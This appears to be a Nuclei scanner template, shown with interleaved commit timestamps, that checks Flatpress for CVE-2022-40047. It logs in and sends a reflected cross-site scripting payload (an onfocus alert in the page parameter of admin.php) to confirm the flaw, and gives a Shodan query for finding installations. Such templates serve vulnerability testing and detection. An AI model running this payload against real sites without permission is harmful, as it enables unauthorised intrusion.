2023-10-17 07:20:28 +00:00
|
|
|
id: CVE-2022-40047
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Flatpress < v1.2.1 - Cross Site Scripting
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: medium
|
|
|
|
description: |
|
2023-10-17 08:16:05 +00:00
|
|
|
Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php.
|
2023-10-17 07:20:28 +00:00
|
|
|
reference:
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-40047
|
|
|
|
- https://github.com/flatpressblog/flatpress/issues/153
|
2023-10-17 17:52:26 +00:00
|
|
|
- http://flatpress.com
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 5.4
|
|
|
|
cve-id: CVE-2022-40047
|
|
|
|
cwe-id: CWE-79
|
2023-10-18 16:26:30 +00:00
|
|
|
epss-score: 0.00535
|
2023-12-12 11:07:52 +00:00
|
|
|
epss-percentile: 0.74539
|
2023-10-17 17:52:26 +00:00
|
|
|
cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
|
2023-10-17 07:20:28 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-17 17:52:26 +00:00
|
|
|
max-request: 2
|
|
|
|
vendor: flatpress
|
|
|
|
product: flatpress
|
2023-10-17 07:20:28 +00:00
|
|
|
shodan-query: http.html:"flatpress"
|
2023-10-17 17:52:26 +00:00
|
|
|
tags: cve,cve2022,flatpress,authenticated,xss,intrusive
|
2023-10-17 07:20:28 +00:00
|
|
|
variables:
|
2023-10-17 08:16:05 +00:00
|
|
|
randstring: "{{to_lower(rand_base(16))}}"
|
2023-10-17 07:20:28 +00:00
|
|
|
|
|
|
|
http:
|
2023-10-17 08:16:05 +00:00
|
|
|
- raw:
|
2023-10-17 07:20:28 +00:00
|
|
|
- |
|
|
|
|
POST /login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstring}}
|
2023-10-17 08:16:05 +00:00
|
|
|
|
2023-10-17 07:20:28 +00:00
|
|
|
------WebKitFormBoundary{{randstring}}
|
|
|
|
Content-Disposition: form-data; name="user"
|
2023-10-17 08:16:05 +00:00
|
|
|
|
2023-10-17 07:20:28 +00:00
|
|
|
{{username}}
|
|
|
|
------WebKitFormBoundary{{randstring}}
|
|
|
|
Content-Disposition: form-data; name="pass"
|
2023-10-17 08:16:05 +00:00
|
|
|
|
2023-10-17 07:20:28 +00:00
|
|
|
{{password}}
|
|
|
|
------WebKitFormBoundary{{randstring}}
|
|
|
|
Content-Disposition: form-data; name="submit"
|
2023-10-17 08:16:05 +00:00
|
|
|
|
2023-10-17 07:20:28 +00:00
|
|
|
Login
|
|
|
|
------WebKitFormBoundary{{randstring}}--
|
|
|
|
- |
|
|
|
|
GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2023-10-17 08:16:05 +00:00
|
|
|
|
2023-10-17 07:20:28 +00:00
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code_2 == 200'
|
|
|
|
- 'contains(body_2, "flatpress")'
|
|
|
|
- 'contains(content_type_2, "text/html")'
|
|
|
|
- 'contains(body_2, "onfocus=\"alert(document.domain)")'
|
|
|
|
condition: and
|
2023-12-12 12:02:03 +00:00
|
|
|
# digest: 4a0a0047304502207b07aef7fc29f7c5ac847ee26456e00f384ea1c04e98c3eacf93e7f3f3eee3be022100ad74fc54b72df3423e37af1ef8951a926f1c92bd07bf928169dc57850b5ea02b:922c64590222798bb761d5b6d8e72950
|